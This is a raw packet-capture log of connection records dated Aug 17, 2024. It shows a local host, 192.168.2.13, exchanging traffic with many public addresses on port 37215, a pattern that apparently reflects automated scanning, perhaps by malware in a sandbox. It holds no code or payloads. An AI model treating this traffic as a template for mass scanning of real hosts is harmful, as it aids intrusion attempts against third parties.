Aug 17, 2024 01:01:53.637814045 CEST	37215	46912	156.208.138.87	192.168.2.13
Aug 17, 2024 01:01:53.637818098 CEST	37215	44706	197.36.122.19	192.168.2.13
Aug 17, 2024 01:01:53.637840033 CEST	40354	37215	192.168.2.13	41.162.93.226
Aug 17, 2024 01:01:53.637851000 CEST	46912	37215	192.168.2.13	156.208.138.87
Aug 17, 2024 01:01:53.637877941 CEST	40354	37215	192.168.2.13	41.162.93.226
Aug 17, 2024 01:01:53.637891054 CEST	44706	37215	192.168.2.13	197.36.122.19
Aug 17, 2024 01:01:53.637914896 CEST	37215	37668	156.159.42.226	192.168.2.13
Aug 17, 2024 01:01:53.637921095 CEST	37215	45292	156.211.196.246	192.168.2.13
Aug 17, 2024 01:01:53.637931108 CEST	37215	49844	41.229.132.89	192.168.2.13
Aug 17, 2024 01:01:53.637936115 CEST	37215	33738	41.198.196.159	192.168.2.13
Aug 17, 2024 01:01:53.637950897 CEST	37668	37215	192.168.2.13	156.159.42.226
Aug 17, 2024 01:01:53.637953043 CEST	46912	37215	192.168.2.13	156.208.138.87
Aug 17, 2024 01:01:53.637953997 CEST	45292	37215	192.168.2.13	156.211.196.246
Aug 17, 2024 01:01:53.638128042 CEST	37215	43172	156.216.155.74	192.168.2.13
Aug 17, 2024 01:01:53.638133049 CEST	37215	34250	41.198.196.159	192.168.2.13
Aug 17, 2024 01:01:53.638144970 CEST	37215	55990	41.253.43.92	192.168.2.13
Aug 17, 2024 01:01:53.638148069 CEST	49844	37215	192.168.2.13	41.229.132.89
Aug 17, 2024 01:01:53.638159990 CEST	37215	41552	197.175.35.145	192.168.2.13
Aug 17, 2024 01:01:53.638164043 CEST	43172	37215	192.168.2.13	156.216.155.74
Aug 17, 2024 01:01:53.638164997 CEST	37215	42064	197.175.35.145	192.168.2.13
Aug 17, 2024 01:01:53.638170004 CEST	34250	37215	192.168.2.13	41.198.196.159
Aug 17, 2024 01:01:53.638175011 CEST	55990	37215	192.168.2.13	41.253.43.92
Aug 17, 2024 01:01:53.638175011 CEST	37215	41866	156.186.51.123	192.168.2.13
Aug 17, 2024 01:01:53.638180971 CEST	37215	42376	156.186.51.123	192.168.2.13
Aug 17, 2024 01:01:53.638192892 CEST	42064	37215	192.168.2.13	197.175.35.145
Aug 17, 2024 01:01:53.638201952 CEST	37215	35964	41.248.228.9	192.168.2.13
Aug 17, 2024 01:01:53.638214111 CEST	34250	37215	192.168.2.13	41.198.196.159
Aug 17, 2024 01:01:53.638215065 CEST	37215	39568	197.2.79.146	192.168.2.13
Aug 17, 2024 01:01:53.638216019 CEST	42376	37215	192.168.2.13	156.186.51.123
Aug 17, 2024 01:01:53.638219118 CEST	37215	36474	41.248.228.9	192.168.2.13
Aug 17, 2024 01:01:53.638228893 CEST	37215	32786	156.144.246.34	192.168.2.13
Aug 17, 2024 01:01:53.638240099 CEST	37215	33296	156.144.246.34	192.168.2.13
Aug 17, 2024 01:01:53.638242006 CEST	39568	37215	192.168.2.13	197.2.79.146
Aug 17, 2024 01:01:53.638247013 CEST	37215	32930	156.177.91.0	192.168.2.13
Aug 17, 2024 01:01:53.638246059 CEST	36474	37215	192.168.2.13	41.248.228.9
Aug 17, 2024 01:01:53.638262033 CEST	45292	37215	192.168.2.13	156.211.196.246
Aug 17, 2024 01:01:53.638262033 CEST	33296	37215	192.168.2.13	156.144.246.34
Aug 17, 2024 01:01:53.638267994 CEST	42064	37215	192.168.2.13	197.175.35.145
Aug 17, 2024 01:01:53.638282061 CEST	42376	37215	192.168.2.13	156.186.51.123
Aug 17, 2024 01:01:53.638289928 CEST	36474	37215	192.168.2.13	41.248.228.9
Aug 17, 2024 01:01:53.638452053 CEST	37215	43728	156.229.96.143	192.168.2.13
Aug 17, 2024 01:01:53.638457060 CEST	37215	33448	156.177.91.0	192.168.2.13
Aug 17, 2024 01:01:53.638474941 CEST	37215	37380	156.119.11.52	192.168.2.13
Aug 17, 2024 01:01:53.638478994 CEST	37215	37892	156.119.11.52	192.168.2.13
Aug 17, 2024 01:01:53.638487101 CEST	33448	37215	192.168.2.13	156.177.91.0
Aug 17, 2024 01:01:53.638489008 CEST	43728	37215	192.168.2.13	156.229.96.143
Aug 17, 2024 01:01:53.638492107 CEST	37215	49872	41.9.135.201	192.168.2.13
Aug 17, 2024 01:01:53.638509989 CEST	37215	50384	41.9.135.201	192.168.2.13
Aug 17, 2024 01:01:53.638514996 CEST	37215	43786	197.226.36.164	192.168.2.13
Aug 17, 2024 01:01:53.638519049 CEST	37215	44298	197.226.36.164	192.168.2.13
Aug 17, 2024 01:01:53.638526917 CEST	37892	37215	192.168.2.13	156.119.11.52
Aug 17, 2024 01:01:53.638526917 CEST	33448	37215	192.168.2.13	156.177.91.0
Aug 17, 2024 01:01:53.638535976 CEST	44298	37215	192.168.2.13	197.226.36.164
Aug 17, 2024 01:01:53.638583899 CEST	50384	37215	192.168.2.13	41.9.135.201
Aug 17, 2024 01:01:53.638583899 CEST	50384	37215	192.168.2.13	41.9.135.201
Aug 17, 2024 01:01:53.638596058 CEST	37892	37215	192.168.2.13	156.119.11.52
Aug 17, 2024 01:01:53.638602972 CEST	37215	57180	156.75.239.51	192.168.2.13
Aug 17, 2024 01:01:53.638643980 CEST	44298	37215	192.168.2.13	197.226.36.164
Aug 17, 2024 01:01:53.638715982 CEST	37215	45052	156.163.162.59	192.168.2.13
Aug 17, 2024 01:01:53.638720036 CEST	37215	45562	156.163.162.59	192.168.2.13
Aug 17, 2024 01:01:53.638730049 CEST	37215	57692	156.75.239.51	192.168.2.13
Aug 17, 2024 01:01:53.638755083 CEST	45562	37215	192.168.2.13	156.163.162.59
Aug 17, 2024 01:01:53.638763905 CEST	33296	37215	192.168.2.13	156.144.246.34
Aug 17, 2024 01:01:53.638765097 CEST	57692	37215	192.168.2.13	156.75.239.51
Aug 17, 2024 01:01:53.638794899 CEST	45562	37215	192.168.2.13	156.163.162.59
Aug 17, 2024 01:01:53.638853073 CEST	57692	37215	192.168.2.13	156.75.239.51
Aug 17, 2024 01:01:53.639199972 CEST	37215	46774	41.198.146.159	192.168.2.13
Aug 17, 2024 01:01:53.639220953 CEST	37215	46996	156.220.93.113	192.168.2.13
Aug 17, 2024 01:01:53.639230967 CEST	37215	47288	41.198.146.159	192.168.2.13
Aug 17, 2024 01:01:53.639235020 CEST	37215	59742	197.21.187.211	192.168.2.13
Aug 17, 2024 01:01:53.639240980 CEST	37215	60254	197.21.187.211	192.168.2.13
Aug 17, 2024 01:01:53.639249086 CEST	46996	37215	192.168.2.13	156.220.93.113
Aug 17, 2024 01:01:53.639250994 CEST	37215	53090	197.208.199.186	192.168.2.13
Aug 17, 2024 01:01:53.639256001 CEST	47288	37215	192.168.2.13	41.198.146.159
Aug 17, 2024 01:01:53.639256954 CEST	37215	53602	197.208.199.186	192.168.2.13
Aug 17, 2024 01:01:53.639266968 CEST	60254	37215	192.168.2.13	197.21.187.211
Aug 17, 2024 01:01:53.639267921 CEST	37215	44078	197.111.114.112	192.168.2.13
Aug 17, 2024 01:01:53.639287949 CEST	53602	37215	192.168.2.13	197.208.199.186
Aug 17, 2024 01:01:53.639302015 CEST	47288	37215	192.168.2.13	41.198.146.159
Aug 17, 2024 01:01:53.639311075 CEST	60254	37215	192.168.2.13	197.21.187.211
Aug 17, 2024 01:01:53.639377117 CEST	37215	44590	197.111.114.112	192.168.2.13
Aug 17, 2024 01:01:53.639381886 CEST	37215	38700	156.12.180.17	192.168.2.13
Aug 17, 2024 01:01:53.639390945 CEST	37215	39212	156.12.180.17	192.168.2.13
Aug 17, 2024 01:01:53.639394999 CEST	37215	41808	197.32.225.20	192.168.2.13
Aug 17, 2024 01:01:53.639395952 CEST	53602	37215	192.168.2.13	197.208.199.186
Aug 17, 2024 01:01:53.639415979 CEST	44590	37215	192.168.2.13	197.111.114.112
Aug 17, 2024 01:01:53.639427900 CEST	39212	37215	192.168.2.13	156.12.180.17
Aug 17, 2024 01:01:53.639445066 CEST	44590	37215	192.168.2.13	197.111.114.112
Aug 17, 2024 01:01:53.639451981 CEST	39212	37215	192.168.2.13	156.12.180.17
Aug 17, 2024 01:01:53.639720917 CEST	37215	42320	197.32.225.20	192.168.2.13
Aug 17, 2024 01:01:53.639727116 CEST	37215	35294	156.130.74.237	192.168.2.13
Aug 17, 2024 01:01:53.639735937 CEST	37215	50788	41.120.250.149	192.168.2.13
Aug 17, 2024 01:01:53.639740944 CEST	37215	34818	156.252.111.134	192.168.2.13
Aug 17, 2024 01:01:53.639751911 CEST	37215	38222	41.169.24.194	192.168.2.13
Aug 17, 2024 01:01:53.639755964 CEST	37215	44542	41.59.242.136	192.168.2.13
Aug 17, 2024 01:01:53.639759064 CEST	42320	37215	192.168.2.13	197.32.225.20
Aug 17, 2024 01:01:53.639766932 CEST	37215	43132	156.93.225.165	192.168.2.13
Aug 17, 2024 01:01:53.639786959 CEST	37215	35828	156.26.77.86	192.168.2.13
Aug 17, 2024 01:01:53.639791965 CEST	37215	57112	197.70.91.121	192.168.2.13
Aug 17, 2024 01:01:53.639794111 CEST	42320	37215	192.168.2.13	197.32.225.20
Aug 17, 2024 01:01:53.639796019 CEST	37215	56568	197.94.154.138	192.168.2.13
Aug 17, 2024 01:01:53.639800072 CEST	37215	58354	41.18.249.87	192.168.2.13
Aug 17, 2024 01:01:53.639856100 CEST	37215	50912	156.9.53.194	192.168.2.13
Aug 17, 2024 01:01:53.639861107 CEST	37215	58288	197.248.146.23	192.168.2.13
Aug 17, 2024 01:01:53.639872074 CEST	37215	48224	156.191.92.231	192.168.2.13
Aug 17, 2024 01:01:53.639877081 CEST	37215	34082	41.193.15.163	192.168.2.13
Aug 17, 2024 01:01:53.639880896 CEST	37215	32824	156.172.52.245	192.168.2.13
Aug 17, 2024 01:01:53.639885902 CEST	37215	38704	156.79.85.244	192.168.2.13
Aug 17, 2024 01:01:53.639890909 CEST	37215	55182	156.214.148.208	192.168.2.13
Aug 17, 2024 01:01:53.639899969 CEST	37215	33824	156.198.127.238	192.168.2.13
Aug 17, 2024 01:01:53.639904976 CEST	37215	57396	41.111.135.196	192.168.2.13
Aug 17, 2024 01:01:53.639914989 CEST	37215	37428	156.8.222.105	192.168.2.13
Aug 17, 2024 01:01:53.639919996 CEST	37215	51834	156.91.48.41	192.168.2.13
Aug 17, 2024 01:01:53.639929056 CEST	37215	49072	156.161.17.168	192.168.2.13
Aug 17, 2024 01:01:53.639934063 CEST	37215	59136	156.232.165.87	192.168.2.13
Aug 17, 2024 01:01:53.639944077 CEST	37215	44376	197.85.103.158	192.168.2.13
Aug 17, 2024 01:01:53.639947891 CEST	37215	52918	197.248.246.30	192.168.2.13
Aug 17, 2024 01:01:53.639961004 CEST	49072	37215	192.168.2.13	156.161.17.168
Aug 17, 2024 01:01:53.639975071 CEST	37215	59390	156.73.13.89	192.168.2.13
Aug 17, 2024 01:01:53.639981031 CEST	37215	55878	41.97.74.86	192.168.2.13
Aug 17, 2024 01:01:53.639990091 CEST	37215	41242	156.232.18.235	192.168.2.13
Aug 17, 2024 01:01:53.639995098 CEST	37215	46056	156.37.151.103	192.168.2.13
Aug 17, 2024 01:01:53.640005112 CEST	37215	53442	156.226.203.71	192.168.2.13
Aug 17, 2024 01:01:53.640023947 CEST	37215	55364	197.36.100.55	192.168.2.13
Aug 17, 2024 01:01:53.640031099 CEST	37215	59698	197.124.155.73	192.168.2.13
Aug 17, 2024 01:01:53.640041113 CEST	37215	37236	41.238.33.63	192.168.2.13
Aug 17, 2024 01:01:53.640045881 CEST	37215	35076	197.160.14.174	192.168.2.13
Aug 17, 2024 01:01:53.640057087 CEST	37215	42398	41.233.208.138	192.168.2.13
Aug 17, 2024 01:01:53.640060902 CEST	37215	36424	41.9.108.65	192.168.2.13
Aug 17, 2024 01:01:53.640070915 CEST	37215	44894	41.30.160.38	192.168.2.13
Aug 17, 2024 01:01:53.640074968 CEST	37215	50820	156.129.209.36	192.168.2.13
Aug 17, 2024 01:01:53.640089989 CEST	37215	37860	156.122.231.29	192.168.2.13
Aug 17, 2024 01:01:53.640096903 CEST	37215	58368	197.8.208.110	192.168.2.13
Aug 17, 2024 01:01:53.640105963 CEST	37215	39108	41.26.220.216	192.168.2.13
Aug 17, 2024 01:01:53.640110970 CEST	37215	41726	197.120.217.7	192.168.2.13
Aug 17, 2024 01:01:53.640120029 CEST	37215	48218	197.252.125.147	192.168.2.13
Aug 17, 2024 01:01:53.640125036 CEST	37215	34804	197.96.47.115	192.168.2.13
Aug 17, 2024 01:01:53.640135050 CEST	37215	32882	41.32.132.80	192.168.2.13
Aug 17, 2024 01:01:53.640139103 CEST	37215	54740	197.235.23.183	192.168.2.13
Aug 17, 2024 01:01:53.640144110 CEST	37215	33176	41.97.32.77	192.168.2.13
Aug 17, 2024 01:01:53.640153885 CEST	37215	60862	197.130.140.173	192.168.2.13
Aug 17, 2024 01:01:53.640158892 CEST	37215	48022	41.74.76.129	192.168.2.13
Aug 17, 2024 01:01:53.640168905 CEST	37215	43992	156.233.44.208	192.168.2.13
Aug 17, 2024 01:01:53.640172958 CEST	37215	53020	197.143.45.200	192.168.2.13
Aug 17, 2024 01:01:53.640183926 CEST	37215	34484	41.17.130.35	192.168.2.13
Aug 17, 2024 01:01:53.640189886 CEST	37215	34996	41.17.130.35	192.168.2.13
Aug 17, 2024 01:01:53.640199900 CEST	37215	58476	197.232.93.152	192.168.2.13
Aug 17, 2024 01:01:53.640203953 CEST	37215	48804	156.95.91.99	192.168.2.13
Aug 17, 2024 01:01:53.640217066 CEST	34996	37215	192.168.2.13	41.17.130.35
Aug 17, 2024 01:01:53.640250921 CEST	34996	37215	192.168.2.13	41.17.130.35
Aug 17, 2024 01:01:53.640253067 CEST	37215	35208	156.244.221.219	192.168.2.13
Aug 17, 2024 01:01:53.640259981 CEST	37215	49316	156.95.91.99	192.168.2.13
Aug 17, 2024 01:01:53.640270948 CEST	37215	44430	156.248.140.39	192.168.2.13
Aug 17, 2024 01:01:53.640275955 CEST	37215	50640	41.239.105.32	192.168.2.13
Aug 17, 2024 01:01:53.640285969 CEST	58476	37215	192.168.2.13	197.232.93.152
Aug 17, 2024 01:01:53.640285969 CEST	35208	37215	192.168.2.13	156.244.221.219
Aug 17, 2024 01:01:53.640285969 CEST	49316	37215	192.168.2.13	156.95.91.99
Aug 17, 2024 01:01:53.640296936 CEST	44430	37215	192.168.2.13	156.248.140.39
Aug 17, 2024 01:01:53.640328884 CEST	37215	51152	41.239.105.32	192.168.2.13
Aug 17, 2024 01:01:53.640337944 CEST	37215	38028	41.13.61.27	192.168.2.13
Aug 17, 2024 01:01:53.640340090 CEST	49316	37215	192.168.2.13	156.95.91.99
Aug 17, 2024 01:01:53.640342951 CEST	37215	32964	156.196.119.82	192.168.2.13
Aug 17, 2024 01:01:53.640351057 CEST	37215	33476	156.196.119.82	192.168.2.13
Aug 17, 2024 01:01:53.640355110 CEST	37215	52302	41.95.107.251	192.168.2.13
Aug 17, 2024 01:01:53.640362978 CEST	51152	37215	192.168.2.13	41.239.105.32
Aug 17, 2024 01:01:53.640368938 CEST	38028	37215	192.168.2.13	41.13.61.27
Aug 17, 2024 01:01:53.640376091 CEST	51152	37215	192.168.2.13	41.239.105.32
Aug 17, 2024 01:01:53.640383959 CEST	33476	37215	192.168.2.13	156.196.119.82
Aug 17, 2024 01:01:53.640420914 CEST	33476	37215	192.168.2.13	156.196.119.82
Aug 17, 2024 01:01:53.640611887 CEST	37215	43772	156.73.69.227	192.168.2.13
Aug 17, 2024 01:01:53.640623093 CEST	37215	52812	41.95.107.251	192.168.2.13
Aug 17, 2024 01:01:53.640641928 CEST	43772	37215	192.168.2.13	156.73.69.227
Aug 17, 2024 01:01:53.640645981 CEST	37215	60826	41.92.244.170	192.168.2.13
Aug 17, 2024 01:01:53.640650988 CEST	37215	33104	41.92.244.170	192.168.2.13
Aug 17, 2024 01:01:53.640660048 CEST	37215	53650	41.36.86.252	192.168.2.13
Aug 17, 2024 01:01:53.640664101 CEST	52812	37215	192.168.2.13	41.95.107.251
Aug 17, 2024 01:01:53.640677929 CEST	33104	37215	192.168.2.13	41.92.244.170
Aug 17, 2024 01:01:53.640677929 CEST	53650	37215	192.168.2.13	41.36.86.252
Aug 17, 2024 01:01:53.640698910 CEST	52812	37215	192.168.2.13	41.95.107.251
Aug 17, 2024 01:01:53.640762091 CEST	33104	37215	192.168.2.13	41.92.244.170
Aug 17, 2024 01:01:53.640856028 CEST	37215	39218	41.187.55.248	192.168.2.13
Aug 17, 2024 01:01:53.640861034 CEST	37215	39728	41.187.55.248	192.168.2.13
Aug 17, 2024 01:01:53.640871048 CEST	37215	38110	41.158.204.133	192.168.2.13
Aug 17, 2024 01:01:53.640893936 CEST	39728	37215	192.168.2.13	41.187.55.248
Aug 17, 2024 01:01:53.640914917 CEST	39728	37215	192.168.2.13	41.187.55.248
Aug 17, 2024 01:01:53.640975952 CEST	37215	38618	41.158.204.133	192.168.2.13
Aug 17, 2024 01:01:53.640980959 CEST	37215	40864	156.172.238.118	192.168.2.13
Aug 17, 2024 01:01:53.640990973 CEST	37215	41384	156.172.238.118	192.168.2.13
Aug 17, 2024 01:01:53.640995026 CEST	37215	42498	156.227.198.116	192.168.2.13
Aug 17, 2024 01:01:53.641011953 CEST	38618	37215	192.168.2.13	41.158.204.133
Aug 17, 2024 01:01:53.641020060 CEST	41384	37215	192.168.2.13	156.172.238.118
Aug 17, 2024 01:01:53.641036987 CEST	37215	43012	156.227.198.116	192.168.2.13
Aug 17, 2024 01:01:53.641041040 CEST	41384	37215	192.168.2.13	156.172.238.118
Aug 17, 2024 01:01:53.641041994 CEST	37215	36902	41.50.104.78	192.168.2.13
Aug 17, 2024 01:01:53.641051054 CEST	38618	37215	192.168.2.13	41.158.204.133
Aug 17, 2024 01:01:53.641053915 CEST	37215	58126	41.212.206.133	192.168.2.13
Aug 17, 2024 01:01:53.641067028 CEST	43012	37215	192.168.2.13	156.227.198.116
Aug 17, 2024 01:01:53.641077042 CEST	37215	37414	41.50.104.78	192.168.2.13
Aug 17, 2024 01:01:53.641081095 CEST	37215	58638	41.212.206.133	192.168.2.13
Aug 17, 2024 01:01:53.641091108 CEST	37215	43894	41.30.13.209	192.168.2.13
Aug 17, 2024 01:01:53.641097069 CEST	43012	37215	192.168.2.13	156.227.198.116
Aug 17, 2024 01:01:53.641105890 CEST	58638	37215	192.168.2.13	41.212.206.133
Aug 17, 2024 01:01:53.641109943 CEST	37414	37215	192.168.2.13	41.50.104.78
Aug 17, 2024 01:01:53.641150951 CEST	58638	37215	192.168.2.13	41.212.206.133
Aug 17, 2024 01:01:53.641189098 CEST	37215	44406	41.30.13.209	192.168.2.13
Aug 17, 2024 01:01:53.641195059 CEST	37215	55904	41.135.153.113	192.168.2.13
Aug 17, 2024 01:01:53.641206980 CEST	37215	44276	41.229.137.21	192.168.2.13
Aug 17, 2024 01:01:53.641218901 CEST	37215	56416	41.135.153.113	192.168.2.13
Aug 17, 2024 01:01:53.641223907 CEST	37215	33852	41.175.118.166	192.168.2.13
Aug 17, 2024 01:01:53.641227007 CEST	44406	37215	192.168.2.13	41.30.13.209
Aug 17, 2024 01:01:53.641227007 CEST	37414	37215	192.168.2.13	41.50.104.78
Aug 17, 2024 01:01:53.641228914 CEST	37215	34364	41.175.118.166	192.168.2.13
Aug 17, 2024 01:01:53.641241074 CEST	37215	41946	197.142.174.225	192.168.2.13
Aug 17, 2024 01:01:53.641244888 CEST	37215	42458	197.142.174.225	192.168.2.13
Aug 17, 2024 01:01:53.641258001 CEST	34364	37215	192.168.2.13	41.175.118.166
Aug 17, 2024 01:01:53.641261101 CEST	37215	46466	156.170.0.111	192.168.2.13
Aug 17, 2024 01:01:53.641273022 CEST	37215	46978	156.170.0.111	192.168.2.13
Aug 17, 2024 01:01:53.641275883 CEST	42458	37215	192.168.2.13	197.142.174.225
Aug 17, 2024 01:01:53.641278028 CEST	37215	43788	41.245.184.88	192.168.2.13
Aug 17, 2024 01:01:53.641283035 CEST	44406	37215	192.168.2.13	41.30.13.209
Aug 17, 2024 01:01:53.641298056 CEST	37215	44300	41.245.184.88	192.168.2.13
Aug 17, 2024 01:01:53.641308069 CEST	46978	37215	192.168.2.13	156.170.0.111
Aug 17, 2024 01:01:53.641309977 CEST	44276	37215	192.168.2.13	41.229.137.21
Aug 17, 2024 01:01:53.641309977 CEST	56416	37215	192.168.2.13	41.135.153.113
Aug 17, 2024 01:01:53.641315937 CEST	37215	42082	41.58.43.16	192.168.2.13
Aug 17, 2024 01:01:53.641326904 CEST	37215	41570	41.58.43.16	192.168.2.13
Aug 17, 2024 01:01:53.641330004 CEST	44300	37215	192.168.2.13	41.245.184.88
Aug 17, 2024 01:01:53.641350031 CEST	42082	37215	192.168.2.13	41.58.43.16
Aug 17, 2024 01:01:53.641351938 CEST	42458	37215	192.168.2.13	197.142.174.225
Aug 17, 2024 01:01:53.641351938 CEST	56416	37215	192.168.2.13	41.135.153.113
Aug 17, 2024 01:01:53.641361952 CEST	37215	47280	156.40.28.159	192.168.2.13
Aug 17, 2024 01:01:53.641364098 CEST	34364	37215	192.168.2.13	41.175.118.166
Aug 17, 2024 01:01:53.641364098 CEST	46978	37215	192.168.2.13	156.170.0.111
Aug 17, 2024 01:01:53.641367912 CEST	37215	47792	156.40.28.159	192.168.2.13
Aug 17, 2024 01:01:53.641376972 CEST	37215	45712	156.96.163.82	192.168.2.13
Aug 17, 2024 01:01:53.641393900 CEST	47792	37215	192.168.2.13	156.40.28.159
Aug 17, 2024 01:01:53.641411066 CEST	44300	37215	192.168.2.13	41.245.184.88
Aug 17, 2024 01:01:53.641421080 CEST	42082	37215	192.168.2.13	41.58.43.16
Aug 17, 2024 01:01:53.641453981 CEST	47792	37215	192.168.2.13	156.40.28.159
Aug 17, 2024 01:01:53.641566992 CEST	37215	46224	156.96.163.82	192.168.2.13
Aug 17, 2024 01:01:53.641582012 CEST	37215	37956	41.22.187.199	192.168.2.13
Aug 17, 2024 01:01:53.641602039 CEST	46224	37215	192.168.2.13	156.96.163.82
Aug 17, 2024 01:01:53.641625881 CEST	46224	37215	192.168.2.13	156.96.163.82
Aug 17, 2024 01:01:53.641707897 CEST	37215	38468	41.22.187.199	192.168.2.13
Aug 17, 2024 01:01:53.641724110 CEST	37215	60434	197.121.158.166	192.168.2.13
Aug 17, 2024 01:01:53.641747952 CEST	38468	37215	192.168.2.13	41.22.187.199
Aug 17, 2024 01:01:53.641834021 CEST	37215	46974	41.184.194.56	192.168.2.13
Aug 17, 2024 01:01:53.641839027 CEST	37215	53074	156.125.168.6	192.168.2.13
Aug 17, 2024 01:01:53.641849041 CEST	37215	47486	41.184.194.56	192.168.2.13
Aug 17, 2024 01:01:53.641870022 CEST	38468	37215	192.168.2.13	41.22.187.199
Aug 17, 2024 01:01:53.641870022 CEST	53074	37215	192.168.2.13	156.125.168.6
Aug 17, 2024 01:01:53.641895056 CEST	47486	37215	192.168.2.13	41.184.194.56
Aug 17, 2024 01:01:53.641915083 CEST	47486	37215	192.168.2.13	41.184.194.56
Aug 17, 2024 01:01:53.641937971 CEST	37215	37474	156.180.56.84	192.168.2.13
Aug 17, 2024 01:01:53.641942978 CEST	37215	37986	156.180.56.84	192.168.2.13
Aug 17, 2024 01:01:53.641973972 CEST	37986	37215	192.168.2.13	156.180.56.84
Aug 17, 2024 01:01:53.642055988 CEST	37215	60728	197.156.10.198	192.168.2.13
Aug 17, 2024 01:01:53.642060995 CEST	37215	33008	197.156.10.198	192.168.2.13
Aug 17, 2024 01:01:53.642070055 CEST	37986	37215	192.168.2.13	156.180.56.84
Aug 17, 2024 01:01:53.642076969 CEST	37215	43848	41.133.233.221	192.168.2.13
Aug 17, 2024 01:01:53.642082930 CEST	37215	60946	197.121.158.166	192.168.2.13
Aug 17, 2024 01:01:53.642092943 CEST	37215	44360	41.133.233.221	192.168.2.13
Aug 17, 2024 01:01:53.642096996 CEST	37215	57596	197.177.193.123	192.168.2.13
Aug 17, 2024 01:01:53.642097950 CEST	33008	37215	192.168.2.13	197.156.10.198
Aug 17, 2024 01:01:53.642121077 CEST	44360	37215	192.168.2.13	41.133.233.221
Aug 17, 2024 01:01:53.642131090 CEST	60946	37215	192.168.2.13	197.121.158.166
Aug 17, 2024 01:01:53.642131090 CEST	60946	37215	192.168.2.13	197.121.158.166
Aug 17, 2024 01:01:53.642133951 CEST	33008	37215	192.168.2.13	197.156.10.198
Aug 17, 2024 01:01:53.642174006 CEST	44360	37215	192.168.2.13	41.133.233.221
Aug 17, 2024 01:01:53.642241001 CEST	37215	58108	197.177.193.123	192.168.2.13
Aug 17, 2024 01:01:53.642245054 CEST	37215	41294	41.212.130.10	192.168.2.13
Aug 17, 2024 01:01:53.642252922 CEST	37215	41806	41.212.130.10	192.168.2.13
Aug 17, 2024 01:01:53.642256975 CEST	37215	54114	156.190.207.0	192.168.2.13
Aug 17, 2024 01:01:53.642266035 CEST	37215	54626	156.190.207.0	192.168.2.13
Aug 17, 2024 01:01:53.642270088 CEST	37215	42626	41.177.247.124	192.168.2.13
Aug 17, 2024 01:01:53.642277002 CEST	58108	37215	192.168.2.13	197.177.193.123
Aug 17, 2024 01:01:53.642280102 CEST	37215	43138	41.177.247.124	192.168.2.13
Aug 17, 2024 01:01:53.642285109 CEST	41806	37215	192.168.2.13	41.212.130.10
Aug 17, 2024 01:01:53.642285109 CEST	37215	59952	156.202.94.57	192.168.2.13
Aug 17, 2024 01:01:53.642290115 CEST	37215	60464	156.202.94.57	192.168.2.13
Aug 17, 2024 01:01:53.642293930 CEST	37215	35110	197.23.200.238	192.168.2.13
Aug 17, 2024 01:01:53.642298937 CEST	54626	37215	192.168.2.13	156.190.207.0
Aug 17, 2024 01:01:53.642304897 CEST	43138	37215	192.168.2.13	41.177.247.124
Aug 17, 2024 01:01:53.642333031 CEST	58108	37215	192.168.2.13	197.177.193.123
Aug 17, 2024 01:01:53.642349005 CEST	43138	37215	192.168.2.13	41.177.247.124
Aug 17, 2024 01:01:53.642388105 CEST	60464	37215	192.168.2.13	156.202.94.57
Aug 17, 2024 01:01:53.642388105 CEST	60464	37215	192.168.2.13	156.202.94.57
Aug 17, 2024 01:01:53.642443895 CEST	37215	46912	41.11.71.133	192.168.2.13
Aug 17, 2024 01:01:53.642448902 CEST	37215	47424	41.11.71.133	192.168.2.13
Aug 17, 2024 01:01:53.642457008 CEST	37215	51214	156.195.212.190	192.168.2.13
Aug 17, 2024 01:01:53.642461061 CEST	37215	51726	156.195.212.190	192.168.2.13
Aug 17, 2024 01:01:53.642462969 CEST	41806	37215	192.168.2.13	41.212.130.10
Aug 17, 2024 01:01:53.642471075 CEST	37215	39324	41.12.80.68	192.168.2.13
Aug 17, 2024 01:01:53.642474890 CEST	37215	39836	41.12.80.68	192.168.2.13
Aug 17, 2024 01:01:53.642478943 CEST	47424	37215	192.168.2.13	41.11.71.133
Aug 17, 2024 01:01:53.642478943 CEST	37215	41910	197.191.64.57	192.168.2.13
Aug 17, 2024 01:01:53.642491102 CEST	37215	42422	197.191.64.57	192.168.2.13
Aug 17, 2024 01:01:53.642493963 CEST	37215	48036	41.193.14.154	192.168.2.13
Aug 17, 2024 01:01:53.642503023 CEST	37215	59990	156.25.202.86	192.168.2.13
Aug 17, 2024 01:01:53.642508984 CEST	39836	37215	192.168.2.13	41.12.80.68
Aug 17, 2024 01:01:53.642529011 CEST	51726	37215	192.168.2.13	156.195.212.190
Aug 17, 2024 01:01:53.642529011 CEST	42422	37215	192.168.2.13	197.191.64.57
Aug 17, 2024 01:01:53.642529011 CEST	47424	37215	192.168.2.13	41.11.71.133
Aug 17, 2024 01:01:53.642529011 CEST	51726	37215	192.168.2.13	156.195.212.190
Aug 17, 2024 01:01:53.642533064 CEST	54626	37215	192.168.2.13	156.190.207.0
Aug 17, 2024 01:01:53.642574072 CEST	39836	37215	192.168.2.13	41.12.80.68
Aug 17, 2024 01:01:53.642576933 CEST	42422	37215	192.168.2.13	197.191.64.57
Aug 17, 2024 01:01:53.642580986 CEST	37215	35622	197.23.200.238	192.168.2.13
Aug 17, 2024 01:01:53.642587900 CEST	37215	48548	41.193.14.154	192.168.2.13
Aug 17, 2024 01:01:53.642596960 CEST	37215	60502	156.25.202.86	192.168.2.13
Aug 17, 2024 01:01:53.642625093 CEST	35622	37215	192.168.2.13	197.23.200.238
Aug 17, 2024 01:01:53.642638922 CEST	48548	37215	192.168.2.13	41.193.14.154
Aug 17, 2024 01:01:53.642638922 CEST	60502	37215	192.168.2.13	156.25.202.86
Aug 17, 2024 01:01:53.642688036 CEST	48548	37215	192.168.2.13	41.193.14.154
Aug 17, 2024 01:01:53.642688036 CEST	60502	37215	192.168.2.13	156.25.202.86
Aug 17, 2024 01:01:53.642729998 CEST	37215	36224	41.45.100.253	192.168.2.13
Aug 17, 2024 01:01:53.642735004 CEST	37215	36736	41.45.100.253	192.168.2.13
Aug 17, 2024 01:01:53.642744064 CEST	37215	49240	41.104.61.6	192.168.2.13
Aug 17, 2024 01:01:53.642748117 CEST	37215	49752	41.104.61.6	192.168.2.13
Aug 17, 2024 01:01:53.642750025 CEST	35622	37215	192.168.2.13	197.23.200.238
Aug 17, 2024 01:01:53.642756939 CEST	37215	43346	156.115.73.165	192.168.2.13
Aug 17, 2024 01:01:53.642762899 CEST	37215	44780	156.166.210.31	192.168.2.13
Aug 17, 2024 01:01:53.642766953 CEST	37215	45292	156.166.210.31	192.168.2.13
Aug 17, 2024 01:01:53.642767906 CEST	36736	37215	192.168.2.13	41.45.100.253
Aug 17, 2024 01:01:53.642771006 CEST	37215	38248	197.54.105.36	192.168.2.13
Aug 17, 2024 01:01:53.642780066 CEST	49752	37215	192.168.2.13	41.104.61.6
